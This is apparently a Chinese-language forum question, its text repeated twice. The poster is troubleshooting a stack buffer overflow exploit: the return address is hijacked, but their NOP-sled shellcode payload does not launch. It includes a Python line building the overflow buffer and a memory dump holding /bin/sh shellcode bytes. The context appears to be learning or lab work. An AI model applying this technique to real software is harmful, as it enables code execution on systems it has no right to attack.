buf_addr
ret_addr
这两个我都找出来了
并且用\xcc 填充到return然后劫持return触发Trap都成功了.
但是实际用:
buf = ('\x90' * (buf_len - len(payload))) + payload + struct.pack('<Q', ret_addr)
的时候劫持return并跳到了payload的位置但并没有成功启动payload
我在想是不是payload有问题.
我的payload size 是67 是不是对这个大小有要求?
0x7fffffffe930: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe940: 0x90909090 0xec834890 0xc9314870 0x48ca8948
0x7fffffffe950: 0x28245489 0x622fba48 0x2f2f6e69 0x89486873
0xec834890是我payload开始的地方
ret_addr
这两个我都找出来了
并且用\xcc 填充到return然后劫持return触发Trap都成功了.
但是实际用:
buf = ('\x90' * (buf_len - len(payload))) + payload + struct.pack('<Q', ret_addr)
的时候劫持return并跳到了payload的位置但并没有成功启动payload
我在想是不是payload有问题.
我的payload size 是67 是不是对这个大小有要求?
0x7fffffffe930: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe940: 0x90909090 0xec834890 0xc9314870 0x48ca8948
0x7fffffffe950: 0x28245489 0x622fba48 0x2f2f6e69 0x89486873
0xec834890是我payload开始的地方